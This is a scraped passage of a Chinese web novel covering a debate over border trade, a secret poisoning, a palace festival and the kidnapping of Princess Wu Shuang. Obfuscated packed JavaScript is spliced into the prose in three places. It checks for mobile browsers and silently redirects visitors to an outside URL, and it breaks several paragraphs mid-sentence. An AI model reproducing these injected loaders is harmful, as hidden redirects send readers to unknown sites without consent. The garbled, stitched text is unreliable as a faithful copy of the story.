;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582101|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她,眉眼微动,就是没有了。 “以战止战自然可行,可两国建交不易,边境数万百姓生活也不易。”白鹤行道,“战事一旦打响,首先遭殃的还是百姓。所以此法不到万不得已,还是不用为宜。驱动两国联盟之介,除去公主和亲外,还有一条就是互市。士农工商,商人排最末,但促成互市最离不开的就是商人。两国货物贸易,银钱换算,乃至各州赋税都离不开商人从中斡旋。但这些年金川与我朝除去一条巴古之路外,便再无互市之路,你可知是为何?” 李砚书闻言一顿,凝神思索起来。 所谓巴古之路,其实就是原本的巴古城。十六年前两国开战,因其特殊的地理位置,使其成了兵家必争之地,而后几年里整座城几次沦为人间炼狱。据说战事停歇的那一年,光是埋尸就用了一月有余,之后更是疫痢频起,所以除了往来商贾,城内几乎没有百姓居住。 而那些往来商人总要有个歇脚的地方,因此在城外一公里的地方渐渐地就多了许多客栈。十多年过去了,那些客栈也越做越大,到现在已经是一个十分繁华的城镇,因为是从巴古城迁移过去的,故此取名巴古镇。 “因为那场战争?”李砚书神色一肃,“沙州之战。” 沙州作为边境重城,是唯二可以成为两国互市的台隍。 武圣十年,沙州壮丁全部战死沙场。那一年甚至连未满十岁的孩子都上了战场,可数月后沙州数城接连沦陷,城内只剩老弱妇孺拼死守城,最后存活下来的寥寥无几。现在的沙州有九成都是肃州迁徙过去的,从那以后沙州禁止金川人出入,十六年过去了,沙州依然奉行着这条铁律。 李砚书不可置信地道:“你是想让沙州……不可能,先不说沙州百姓能不能答应,就是死去的将士们也不会答应的。阿行,两国贸易有很多种方法,并不是只有这一条路可行。” 就是在渭阳,人们提起沙州百姓时也是面带敬重的。他们那种宁做刀下鬼,不做亡国奴的气节,不论在何时提起,都是令人打心底里佩服。 “不破不立,”白鹤行道,“民族耻辱不该忘记,可原地踏步只会重蹈覆辙。” 茶水滚沸,李砚书给她倒了杯热茶,“你又怎知会重蹈覆辙。如今我朝国力强盛,边境各州更是有诸多强将驻守。阿行,你有时将敌人想得太过可怕了,同样的时间,难道只有他国霁岫峦起吗?” 白鹤行抬眼看了李砚书一眼,那双眸子隐在雾后,似有所言。只是她又很快敛下眼睫,刚起的一点波澜骤然静谧下来,仿佛是被李砚书这番言论说动了。 李砚书见她不说话,失笑道:“你怎么不说了?” 白鹤行淡淡道:“都说完了。” 李砚书一愣,指尖被烫了一下,嘶了一声,在低头查看的一瞬,听出了她的言外之意。 若是沙州打开互市通道,金川就不需要用公主和亲去作安抚了。不仅如此,同时还能解了武霜的指婚。 只是沙州的血海深仇,又岂是说解就能解的。 45. 话谈 “你说的我都懂,只是这件事……”李砚书摩挲着被烫红的指尖,犹疑片刻,“行不通。” 李砚书接道:“阿行,两国互市自然有利可图,可我们没有办法替死去的人原谅什么。正如这次董平之死——太轻了。光是他一人可以做到无声无息杀害那么多姑娘吗?如果不是董酺利用官职纵容掩护,董平会如此肆无忌惮地行事吗?董平虽死,可他造下的孽却永远不会消失。那些姑娘还能活过来吗?花笙现在就在我府上,你可以亲自去问问她,问问她能忘记她挚友余见夏之死吗?问问她要多久可以能原谅凶手董平。阿行,罪孽永远不会消失,只会经年加重。如你我一般的旁观者,没有资格立场去替她们去原谅。” 白鹤行这么聪明的人,怎么会不明白,可她还是跟李砚书说了。她将所有可行的路的摆在李砚书面前,供她去选。 李砚书当即反应过来,略不自在地垂下眼帘,道:“对不住啊,我话说重了。” 白鹤行神色自若,淡声道:“无妨。” 见状,李砚书亲手给人倒了被热茶,双手奉上,笑道:“赔罪。” 白鹤行接过,抿了一口后放下茶盏,道:“善奕者谋势,不善奕者谋子。” 李砚书略一思索,道:“可局势瞬息万变,各国实力此消彼长,难保不会有趁虚而入之徒。” “人总有年华老去的那一天,”白鹤行默了须臾,“渭阳王将你们护在羽翼之下,使得你们获得庇佑的同时也失去了对危险的感知。” 这话说得委实直白了些。 李砚书倏地抬眼,看着白鹤行,“你在说什么?” 白鹤行对上她的目光,道:“落叶知秋,见微知著。那位都已经将他的选择摆在你面前了,你还要装傻充愣?” “你知道自己在说什么吗?”李砚书的目光变得危险起来,“莫须有的东西罢了,我听过也就忘了,你最好也别再提。” “我很清楚自己在说什么,做什么,不清楚的人是你。”白鹤行复端起茶盏,“县主。” 李砚书神色一动,道:“赞成公主和亲的是你,开放沙州互市的也是你,你究竟想要哪个?” “做决定的不是我,”白鹤行缓缓摇头,“做决定的人是你,你想要哪个?” “我想要无双按照自己心意地活,”李砚书看着她,步步紧逼地道,“我想要沙州死去的人都活过来,这些是我做了决定就会有的吗?” 说了一圈,又回到了这个无解的时候。 李砚书唇线稍抿,知道自己说了傻话。 就她闯刑部狱都不了了之这件事来看,李家确实圣眷正浓,可这份圣宠背后却是各方势力的暗流涌动。董家与她已是摆在明面上的了,更别提董家身后还有户部、刑部等诸多利益牵连了。况且仅凭李家之力便让沙州与金川互市明显不现实,一来是时间上来不及,二来是可行性太低了。 李砚书眨了眨眼,举盏喝茶,道:“阿行,你太高看我了。即便我想,两国互市这么大的事也不是我能左右的。” 白鹤行神色未变,只道:“人无远虑,必有近忧。” 李砚书听完只是笑笑,没再接话了。 初五这日,武明帝设朝,当众宣布了无双公主与兵部侍郎之子沈珩的婚事。 一时间群臣神色各异,朝上竟诡异地安静了片刻。 武明帝眼含笑意地看着下面,巡视了一圈后,目光最终落在沈毅身上。 沈毅拱手出列,谢恩道:“臣代犬子,谢主隆恩。” 武明帝大笑道:“爱卿快快起来。” 婚期定在来年春后,具体日子还要等太史局拟定。 消息传得很快,不过两个时辰,临近几州州牧已经上摺贺喜。 武霜如今不用再去学林院听学,这日她掐准时辰来到宁院,没让宫娥太监们跟进来。 李砚书见她来,从柜上的茶罂里抓了一把茶叶添在滚沸的水里,道:“你来得正好,这茶叶是前日阿行从岑先生那得来的,宝贝得很。今日正好趁她不在,我们尝尝这宝贝茶。” 武霜看着她泡茶的手法,道:“你泡茶是跟谁学的?” “怎么了?”李砚书侧身看她,“这又没外人,自是怎么舒服怎么来,讲究那些个姿势作甚。怎么,你嫌弃啊?嫌弃你别喝,我自己喝。” 武霜莞尔,在对面落座,道:“我可没说。再说这是阿行的茶叶,我怎么不能喝了。” 说到白鹤行,武霜才想起似的问了一句:“阿行呢?怎么不见她?” “她去元先生那了,”李砚书道,“说是今日夫子所讲,她还有一点未解。” 武霜习以为常,道:“还有三个月便是春闱了。” 李砚书搁了茶盏,对武霜道:“你说阿行这次能杏榜题名吗?” 武霜道:“不好说。” 李砚书微诧。 “阿行不是第一次参加春闱了。”武霜顿了少顷,“你知道她三年前那篇文章里写了什么吗?” 李砚书道:“什么?” 武霜道:“互市,我朝与金川互市。这还是我偶然听岑夫子与皇叔说起,岑夫子平日不常夸人,那次却当着皇叔的面夸阿行文章写得好。只是她写哪里不好,非得写沙州,天下谁人不知沙州与金川的血海深仇。礼部与国子监当即就将她那篇文章压下,人自然也就落榜了。” 李砚书惊住,视线无意识地落在面前的茶盏里。 白鹤行三年前就提出沙州互市了吗? 也就是说,三年前她们就猜到会有今日了。 李砚书想起之前种种,有些事情似乎初现端倪,尤其是一月前与元鸿今的那次促膝长谈。 武霜见她半天不说话,轻咳了一声,道:“有件事,需要你帮我。” “什么?”李砚书信马由缰地胡思乱想暂停,对武霜的话还没反应过来,便道,“对不住,方才没听清。” “你是在担心信皇叔吗?”武霜轻叹一声,仿佛已经洞悉李砚书所想,“你放心吧,我昨日问过母后,信皇叔已经无甚大碍,只需再休息几日便大好了。” 李砚书见她想错,也没反驳。听到武信病快好了,心里也高兴,便就着她的话点头。 武霜越想觉得是,见她点头,便愈发替她担心,接道:“砚书啊,有些话我想我还是得提前跟你说一声,但你绝对不能跟其他人提起,谁也不行。” 李砚书笑了一下,倾身替她添着茶水,道:“你说。” 武霜抿下唇,左右看看,而后神情严肃地道:“父皇登基那年,一直潜伏在父皇身边的一个嬷嬷在父皇的膳食中下毒,欲谋害父皇。但是那天恰好是昭仁皇后的忌日,所以父皇便唤了信皇叔一同用膳……” “中毒!”李砚书添茶的动作僵住,难以置信地道。 难怪总是抱病,身体那样不好,竟是中毒所致! “小声些!”武霜眼见水要漫出茶盏,一把抬住李砚书愣在半空中的手,“别激动,你先坐,听我。” “这事只有极少数人知道,连皇兄们都不知道。”武霜压低了声音,“那个嬷嬷是糜皇叔安插在父皇身边的细作。足足十五年,那个嬷嬷是父皇从宫里带到王府再到宫里一直用的老人,谁都没想到她会是糜皇叔的人。而那时糜皇叔已经畏罪自戕,死无对证,再加上当时朝局不稳,父皇只能将这事压下去,对外称信皇叔是染疾所致。” 李砚书听完好半晌没出声,脸上也看不出喜怒,唯有握着茶盏的手在不断用力。 “……是什么毒?” 武霜虽然平日里不拘小节,可此时却能敏感地察觉到李砚书话音之下的颤抖。 武霜眼神微微一黯,心想,天下有情人难得,如砚书那般纯粹的心意更是难得,虽然他们身份有别。但在她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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武霜反应过来,难以置信地道:“你不会是想着帮信皇叔解毒吧?” 李砚书看着她,意思显而易见。 “没用的,”武霜目光闪烁,“你觉得毒要是那么容易便能解了,这么多年父皇还会暗地里遍寻名医名士么?” 李砚书低声道:“你说的我都知道。只是你要我什么都不做,就眼睁睁地看着他接下来一次又一次地毒发,我做不到。我总得知道是什么毒,即便希望微茫,我也要去试试。” 武霜叹息一声,移开目光,不再看李砚书。她不理解,为何李砚书不过见过信皇叔一面,便一见倾心,执着到底了。 “真不知道你喜欢信皇叔什么?”武霜忍不住问。 李砚书重新替她续上热茶,道:“喜欢就喜欢了,哪需要什么理由。” 武霜端了茶盏,抿了一口,道:“你分明是色迷心窍。” 李砚书一听,再一想,忍不住笑了起来,赞同地点头道:“也可以这么说。” 毕竟武信的确是她见过的人当中,模样生的最好的一个了。 武霜见她不仅不知羞,还点头承认,反倒是惹得自己羞燥起来,不禁嗔道:“不知羞。” 李砚书笑道:“羞什么,喜欢一个人都要羞的话,那天底下的男男女女就都别结婚生子好了。” “我是说不过你,”武霜道,“你总有理。” 李砚书无声笑笑,放下手中的茶盏,突然道:“话说回来,你这次来找我,要说的不止这件事吧。” 武霜脸上的笑瞬间落了下去,她道:“是啊,这不是婚期将近,想来问问你有没有什么办法助我出宫一趟。” 李砚书听完坐正了身,道:“那条小道出不去了?” 武霜道:“那处父皇命宫中侍卫轮值,说是临近年关宫中戒严,分明是在防着我,不想我出去找人。” 李砚书诧异道:“你要去见人一事与陛下说了?” “是啊,”武霜愤声道,“原本以为我都同意指婚了,父皇也该同意我去见沈珩一面才对,谁知父皇听后直接不允,还说在成婚之前我都不能出宫,随后就调了侍卫轮值。” 李砚书顿觉无言。感情她那会不准自己去找姨母说明,是因为她先做了一件蠢事啊。 46. 祭祀 如今小道行不通,便只能另想他法了。 李砚书思索片刻,对武霜道:“几日后……是不是禖神祭?” “是,”武霜不明所以,而后反应过来,面露诧异,“你是想……” 茶盏轻磕,李砚书坐直了身子,点头道:“那日百官都要入宫朝见,正是我们出宫的好时机。我今日回去后就安排人在宫外接应,届时我们只需在宫门下钥前回来便可。” 武霜听后大喜,忙道:“如此甚好!甚好!砚书,还是你有办法,这件事我就交给你了啊。” “先别高兴地太早,此事还需仔细谋划谋划。”李砚书道,“首先,要解决你宫里那些眼线,有他们在,你连公主院都出不了。” 武霜冷静下来,想了想,道:“这事其实也不难。” 李砚书看着她,“你有法子?” 武霜点头,道:“嗯,你不用担心我这里,到时我自有妙计出来。” “行吧。”李砚书起身,“今日就这样,具体计划等我明日回来,我们再详谈。” 武霜见李砚书起身,忽然想起什么,道:“对了,我还有个东西要给你。” 她起身打开门出去,不一会儿又折返回来,手里多了一个巴掌大的瓷瓶。 “这是宫里最好的金疮药,不会留疤的。”武霜说着将东西交到李砚书手里,“那个姓花的姑娘现下不是在你府上吗,你正好带回去,以宽慰我这次没帮上她的歉疚之心。” 李砚书一愣,拉住她的手道:“并非如此,若不是有你,案子也不会进展地如此迅速。东西我带给她,却不是因为你的什么歉疚之心,而是因为无双殿下的一颗善心。” 武霜被李砚书说得面上发烫,倏地将手抽出,转身往外走,“我,我先走了,你快些出宫吧!” 临门时,她停下回头冲李砚书笑了一下,提步走了。 禖神祭前一日,阴沉了好几日的天终于放晴。 武明帝大喜,早朝后大手一挥,特许百官极其家眷都可参加此次祭祀。 祭祀所需一切,礼部与内侍局早已筹办妥当。而往常禖神祭只有四品以上官员才可参加,可这次武明帝金口玉言,一下子就多了几百号人参加,那之前筹备的就远远不够了。 内侍局的总领太监恨不得凭空长出三头六臂来,光是一晚上就急得嘴角多出了好几个燎泡。 原本李砚书是打算亲自陪着武霜去找沈珩的,但是祭典那天她必须全程在场,因此她只能让素影与骨衣陪武霜前去。 祭典当天一早,李砚书持令牌出宫,说是回王府换身衣服。她身后跟了个宫娥,面色暗黄,低垂着脸。 守门侍卫见是广明县主,便没多做检查,将令牌还给李砚书后,放人出宫。 李砚书侧眸看了身旁的宫女一眼, 素影与骨衣早已候在宫外,见李砚书出来,连忙迎上去。 “小姐,”两人先是叫了李砚书一声,而后异口同声地对李砚书身侧那人道,“殿下。” 武霜对二人颔首。 李砚书道:“先上马车。” 骨衣在外驾车,素影坐在李砚书身侧,眼神却不停地往武霜脸上瞟。 世人皆道无双公主容颜无双,可素影今日一见,似乎与传闻中的不太吻合。 武霜感觉到素影暗搓搓地视线,唇线轻抿。 李砚书轻叹一声,道:“殿下脸上化了妆,待回了府里,你替殿下再好好梳洗打扮一番。” 素影当即羞赫地低下头,低声道:“是。” 李砚书又对武霜道:“现在可以告诉我你是用了什么办法脱身的吧。” 武霜道:“装病。” 李砚书猜就是这样,但还是担心道:“渭阳讲究避谶,这种不好的话以后还是少说,最好不说。” 武霜道:“知道了,这次也是迫不得已,只好出此下策。” “我打听过了,沈珩前些日子偶感风寒,沈老太太便将人接去了城南的老宅里。”李砚书道,“你见到他后,便赶紧回来,我会在戌时一刻左右借口离宫,记住了,戌时一刻。素影,戌时一刻必须将殿下平安带回王府。” 素影知道这件事的重要性,表情庄重地道:“是,小姐。” 武霜觉得她有些小题大做了。自己就是去见见沈珩,见过自然就回了,哪会有什么意外。她安抚道:“放心吧,我肯定按时回来。” “你是我带出宫的,我自然有责任将你安全带回皇宫。”李砚书从袖中掏出一枚短小精致的匕首,“你放心,等放年学后,我一定安排你与沈珩再见面,届时你们也可以好好聊聊。这匕首你好生收着,虽然骨衣会武,但未免万一,有个防身的东西总是好的。” 武霜见李砚书事事替她安排好,一股暖流涌进心头,感动道:“砚书,我若是男子,我一定娶你。” 李砚书将匕首塞在她手里,无奈道:“你怎么能恩将仇报呢。” 武霜瞪她,道:“你说什么!” 素影却在这时噗嗤笑出声来,车上两人顿时看向她。 “……” 素影连忙摆手,小声解释道:“奴婢不是故意的,小姐与殿下这样拌嘴,像极了在渭阳时与洛小姐拌嘴时的样子。” 武霜一顿,道:“洛小姐?” 李砚书道:“洛霓,渭阳洛太守的女儿,我与她自小一同玩耍,拌嘴也是常事。” “原来如此,”武霜道,“等我日后去了渭阳,我一定要去好好拜会一下这位洛小姐。” 李砚书笑道:“会有机会的。” 祭祀大礼准时进行,百官们朝服整齐,双手持笏,缓步迈入宫门。 按理说李砚书一个县主身份该走在宫眷之后,可她此次是代表渭阳王前来祭祀,礼部再三斟酌,最终将她排在了众位皇子之后,百官之前。 李砚书自从王府出来,遂一进宫门,等她多时的钟嬷嬷便上前来,对她道:“皇后娘娘担心县主第一次参加祭典不习惯,特命奴婢来服侍县主。” “那就有劳嬷嬷了。”李砚书道。 钟嬷嬷看了李砚书身后的宫娥一眼,屈膝道:“县主这是折煞奴婢了。” 李砚书不动声色,道:“听人说殿下身体不适?可派御医去瞧了?” 钟嬷嬷道:“回县主,御医已经瞧过了,殿下并无大碍。奴婢知县主与殿下交好,待祭典结束,县主再去看望殿下也不迟。” 李砚书松了一口气,道:“那就好。” 不多时,一袭红色礼服的李砚书位于百官之前。而站在她前面的则是三位势均力敌的皇子。 李砚书端详着三位皇子的背影,朝服都是统一的样式,可三个人却穿出了三种不同的韵味。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655918|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 譬如中间的大皇子,身材最为魁梧,一看就是常年习武之人。左边的是二皇子,即使身着朝服,也可以看出是一个风流蕴籍之人。右边是三皇子,三人中他身形最为削瘦,李砚书看着,总觉下一秒来阵风都能给他吹走了。 “皇上驾到——” 御前太监尖锐的嗓音突然响起。 武明帝与楚皇后下撵,身后乌泱泱跟了一群太监宫娥。 百官整齐跪拜:“参加皇上皇后,吾皇万岁万岁万万岁,皇后娘娘千岁千岁千千岁。” 帝后在侍从的簇拥下登上高位,武明帝环顾一圈下面,抬手道:“众卿平身。” “谢皇上!” 最先起身的是三位皇子,而后是他们身后的大臣们。 大皇子率先出列一步,说了几句吉祥话,武明帝满意地点点头。而后就是二皇子与三皇子,三人说的话大差不差,无非是一些国泰民安,四海昌平之类赞颂武明帝治国有方的话。 李砚书垂眸听着,心想,这三兄弟之间看着气氛和洽兄友弟恭的样子,实则私底下各自心怀鬼胎,都想着怎么算计对方呢。 这边武明帝看了王德祥一眼。 王德祥立时明白,向前一步高声道:“祭祀大典开始——” 话音方落,声鼓钟乐声骤起,帝后齐步走向祭祀台。 繁琐杂糅地祭祀仪式终于步入正轨,随着司礼局太监的喝声响起,台下众人开始整齐跪拜。 李砚书随着众人跪拜,有那么一瞬间她抬头往祭祀台那边看了一眼。 巍峨高耸的祭祀台前供奉着巨型香烛,香烛燃起的烟雾飘向空中,李砚书的视线随着那烟飘向天空。她才发现,方才还艳阳高照的天上不知何时多了快阴郁的暗云,像是风雨来临前的预示。李砚书心下一沉,再次叩首间,李砚书再抬眼一瞧,台上那块阴云却不见了。 祭典过后,百官们移至麟德殿。 晚宴同样按照品阶赐座。殿内至少得是四品以上官员,极其有诰命在身的命妇才行。原本李砚书的位置在三位皇子之下,与六部尚书并列。 楚皇后看见后便唤李砚书过去,与她说了几句话后,便起身对武明帝道:“陛下,今日无双不在,便让砚书坐我身边,陪我说说话吧。” 武明帝今日兴致格外好,已经喝了好几杯酒了,听是这件事,眼也不眨地允了。 一瞬间数道目光投向李砚书。 李砚书似有所感,抬眼望去,却猝然对上二皇子的视线。 二皇子淡定举盏,隔空对李砚书点盏示意。 雍容不迫,举止坦荡。 李砚书举盏奉上,浅抿了一口,以示回敬。 或许是因为李砚书坐到了楚皇后身边,席间倒是清净得很,除去面前一桌的素食外,李砚书都挺满意的。 武明帝渐渐有些不胜酒力,说了两句话后便先行立场了。 他一走,楚皇后自然也跟着离席,李砚书想着时间差不多了,便也跟着离席。 李砚书寻了个由头,带着从王府带来的小丫头往宫门口走去。 一出宫门,王府的马车便上前来,载着两人赶往王府。 李砚书从一下马车没见到人开始,心里便隐隐不安。直到进去后发现三个人都还没回来时,李砚书脑中罕见地空白了片刻。 人还没回来! 47. 绑架 那一瞬间,无数猜想涌入脑中,炸得李砚书头昏脑涨。 骨衣与素影都不是贪玩之人,武霜虽然平日里反应慢半拍,可在这种大事上却是从来不含糊的。所以一定是哪出了变故,她们三人才至今未归。 方寸之间,李砚书恨不能长出一对翅膀飞到城南去。可她不能这么做,城内多少双眼睛盯着她,她必须冷静下来。 她一乱,一切就都完了。 李砚书在心里告诉自己,不要自己吓自己。 可时间不等人,眼看宫门即将下钥,李砚书沉声叫来丫鬟。 不多时,李砚书骑马冲出王府,直奔城南方向而去。 此时李砚书身上还穿着祭祀礼服,头上珠翠叮铃作响,在马上颠簸了会儿便接连掉落。街道旁的乞丐见状立刻扑上来,与其他争抢者打作一团。 沈老夫人前年已过六十大寿,或许是年纪大了喜静,沈老夫人前些年便搬到了城南的老宅子里住。此次沈珩被接去养病,想来他对这次指婚也是心有微词。 越往南,街上行人越少。 “吁”的一声,李砚书在一个岔路口停下,徘徊不前。 两个路,究竟哪条是通往沈家的? “县主?” 李砚书循声看去,发现是一身布衣的宋承。 宋承手里还举着一个灯笼,见真是李砚书后,连忙将手里的灯笼搁在地上,拱手道:“属下见过县主。” 李砚书目光凛冽,道:“不必多礼,你可知兵部沈老夫人住在哪?” 宋承诧异地看了她一眼,旋即指向其中一条街,道:“沿这条路一直走,尽头处便是沈宅。” 李砚书顾不上其他,匆匆一句多谢后,打马就走。 整条街都似乎陷入了沉睡,安静地近乎诡异,一丝微弱的血腥味闯进鼻腔,李砚书手上用力,勒马停下。 她第一念头就是中计了。 宋承出现得太巧了,像是早就候在那里,就等着李砚书上勾似的。但这样未免太过刻意,除非是想杀人灭口,否则这招破绽太多。 暗夜寂静,马蹄声格外明显。 李砚书呵出一口热气,警惕望着四周。同时脑中飞快闪过这几日发生的事,试图从中找出蛛丝马迹。 武霜出宫这事只有她们几人知道,就连打听沈珩之事都是骨衣亲自去办的,就是怕走漏风声。千防万防,千算万算,没想到人还是出事了。 过了一会儿,四周依然阒静。 就在李砚书以为是自己杯弓蛇影时,她的目光却突然停在了某一点。 墙根底下似乎有什么东西。 李砚书定睛再一瞧,像是个人! 马儿哼哧一声,李砚书顿时收敛了气息,翻身下马,悄无声息地朝那处靠近。几步之后,李砚书瞳孔猛地紧缩——竟是骨衣! “骨衣!” 李砚书快速将人检查了一遍,发现除了手臂上有道伤口外,其余地方并没有受伤。还没等她松口气,旋即想到,若单是手臂上的伤根本不足以致人晕厥,能让武功不弱的骨衣完全丧失行动能力,就只剩下迷药了。 瞬间,李砚书的心沉到谷底。 她刚要抱起骨衣,忽然,一阵急促的脚步声就从身后传来。 李砚书倏地起身,眼神锐利。 两息后,宋承从黑暗之中疾步出来,面色着急地道:“属下闻到县主似乎饮酒了,担心县主安危……” 说到这,宋承话音骤停。 他见过骨衣,见此情形,脸色大变,立刻道:“县主可有受伤?” 闻言,李砚书神色未变,一只手握着马鞭,道:“宋都尉今日怎么没去参加祭典?” 宋承一顿,视线从骨衣身上转到李砚书身上,瞬间明白过来,当即拱手道:“回县主,属下故人之子昨日突染恶疾,因此属下告假了两日,就住在方才遇见县主那处。” 李砚书分辨不出他是否说谎,只能道:“宋都尉莫怪,只是你也看见了,这种情况我实在不敢掉以轻心。” “县主谨慎自然是好。”宋承后退一步,道,“属下观骨衣姑娘手臂处的伤口没有发黑,应当不是中毒,县主可用簪子刺向骨衣姑娘将人唤醒,以便问询经过。” 宋承的话点醒了李砚书,照当前形势来讲,确实只有骨衣清醒过来才能问出素影武霜二人的下落。 李砚书从头上拔下一支簪子,将骨衣刺醒。 刺痛之下,骨衣先是眼珠动了动,随后才慢慢睁开眼,神志还未完全清醒。 李砚书着急地唤了她两声。 骨衣看清是李砚书后,眼睛瞬间亮了几分。只是身体还能动,只能虚弱又着急地道:“……小姐,救,素影……” “我知道,”李砚书看着她,“她们往哪个方向跑了?” 骨衣气息急促,眼睛里全是血丝,她道:“山上……小姐,快救……” 说着说着,骨衣意识渐渐模糊,人又晕了过去。 “骨衣!” 李砚书见骨衣说着话就闭上了眼,吓得心跳都停了半拍,冷汗瞬间从前胸凉到了后背。 宋承见人又晕了过去,上前道:“县主,骨衣姑娘这种情况得尽快送医。” 迷药也分好几种,轻得只是让人睡上几个时辰后药性便自动解了。可重的不仅会让昏迷,有些药性强劲的,更是可以瞬间迷晕一头牛,使其永远醒不过来。 “宋都尉,我府上丫鬟被人劫走,劳烦你找一些靠得住的兄弟进山救人。”李砚书打横抱起骨衣,“此事算李晗欠都尉一个人情,来日必定偿还。” “县主严重了,”宋承扶人上马,道,“属下晓得其中厉害,必不负县主所托。” 李砚书单手策马,看着他,沉声道:“拜托了。” …… 马蹄疾驰过元安半城,最终停在皇宫门口。 李砚书赶在宫门下钥前最后一刻进去,巡逻侍卫见她妆发紊乱,步履匆忙,形迹可疑的样子,便想上前去将人拿下。 领头的那名侍卫表情严肃,一声厉喝:“站住!” 李砚书亮出令牌,领头侍卫一瞧,立刻后退一步,敛下眉眼,拱手道:“见过广明县主。” 后面那些侍卫顿时跟着行礼。 李砚书“嗯”了声,无视侍卫们诧异的眼神,径直朝清宁宫走去。 钟嬷嬷从皇后寝殿出来,见李砚书模样狼狈,惊道:“县主这是怎么了?” 李砚书曲膝道:“劳烦嬷嬷禀告姨母一声,我有要事要见姨母。” 钟嬷嬷不敢耽搁,连忙应道:“县主稍等,奴婢这就去禀报娘娘。” 不多时,钟嬷嬷从里殿出来,请李砚书进去。 里殿内只有楚皇后一人。 李砚书进去就跪下,磕头道:“姨母,砚书向您请罪,无双被人抓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680916|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走了。” …… “这位姑娘,你行行好,先别哭了成不?”林望一个头两个大,无奈地道,“你滚到我身后来,等会要是他们再进来,我替你挡着可以吗?” “……呜呜,你这人怎么这样!我哭怎么了!”哭成花脸的姑娘瞪了林望一眼,又听到林希说替她挡着那些人,抽噎了几下,“真……真的吗?” 林望没说真假,只是全身用力撇了一下,让出一点缝隙,方便人朝自己滚过来。 意思很明显。 花脸姑娘见她真的要让自己躲她身后,反倒有些不好意思了,嗫嚅道:“方才对不起……” “你不哭我就谢天谢地了,快点过来吧。”林望道。 见人止了哭声,林望长长舒出一口气,总算是安静了。 从她醒来就一直在哭,先是大哭,后面哭累了,就改嘤嘤低泣了,如同庙里和尚念经似的,嗡嗡个不停。 至于为什么是“滚”过去,而不是走过去。皆是因为这屋子里的姑娘们都被绑着手脚,除了“滚”过去,似乎也没有别的体面的方式可以过去。 花脸姑娘没忍住又抽泣了一声,笨拙又圆润地朝林望那边滚去。 只是这屋子就这么大,她一动自然就会碰到别人,这不刚滚了没有两圈,伸出去的脚就踢到了一个人身上。 “啊!” 突如其来的一脚让武霜猛然惊醒。她刚觉得有人打了她一下,结果下一秒,一双黑漆漆的鞋底就横亘在眼前,差一点就挨上了自己的脸。 花脸姑娘也被吓到了,霎时尖叫起来。 “大胆!” 武霜惊魂未定,猛地往后一退,结果又撞上了另一个人。 素影闷哼一声,被撞醒了。 武霜还没从鞋底的阴影中缓过神,紧接着又被身后的素影吓了一跳,也是这么一吓,她才发现自己竟然是被绑着的! 岂有此理! 知不知道她是谁! 竟敢绑她,不要命了! 混乱中,门被人一脚踹开—— “叫什么叫!都给老子安分点!” 说话这人手上提着一把柴刀,面相凶恶,说话也凶。 武霜长这么大还是头一回被人这么凶,顿时气血上涌,撑着一边胳膊就要坐起来训人。就在这时,她突然感觉腰腹处被人点了一下。 是素影! 她明明没有说话,可武霜却懂了她的言外之意——不要说话。 拿刀那人骂了两句,见屋里的人都安静下来了,遂才出去,而后又将门锁住。 等到脚步声渐渐走远,屋子里的姑娘们才松了口气。 武霜赶紧翻过身去看素影,道:“方才多亏你提醒我。” 若是她暴露身份,说不定这屋子的姑娘都会因此送命。还有助她出宫的李砚书,虽说父皇看在渭阳王的份上不会杀她,却也是罪责难逃。 素影还有些不舒服,头涨地厉害,闻言还是努力挤出一个微笑,小声道:“……我答应过小姐,要保护你的。” 武霜深深地看了她一眼,一时不知该说什么,同时也明白为什么李砚书待她们那么好了。 回想起她们被绑架那会,这个丫头吓得半死,腿都在打颤,可当刀挥过来时她还是一把挡在自己面前,叫自己快跑。若不是另外一个会武的丫头及时赶到,此刻只怕她已经死在那些人刀下了。 48. 林望 “对不起啊,我不是有意踢你的。” 花脸姑娘不知何时躲在了林望身后,此时伸出个头,面带歉意地跟武霜道歉。 武霜觉得这个声音莫名熟悉,若有所思,道:“方才是你一直在哭?” 此言一出,林望感同身受地看着武霜。心想,是吧是吧,还哭得抑扬顿挫,颇富韵律,一般人还真做不到她那样。偏偏双手还被绑着,别说去捂她嘴了,就是连自己的耳朵都堵不上。 林望甚至奔溃地想,怎么那些王八蛋没将她们嘴也堵上呢! “啊?”花脸姑娘没想到她昏迷着也能听见自己在哭,讪讪地道,“你听见了,对不起啊,我没忍住,我实在害怕。” 武霜冷静下来,声音也恢复到了往日的矜贵,她道:“别哭了,很快就会有人来救我们的。” 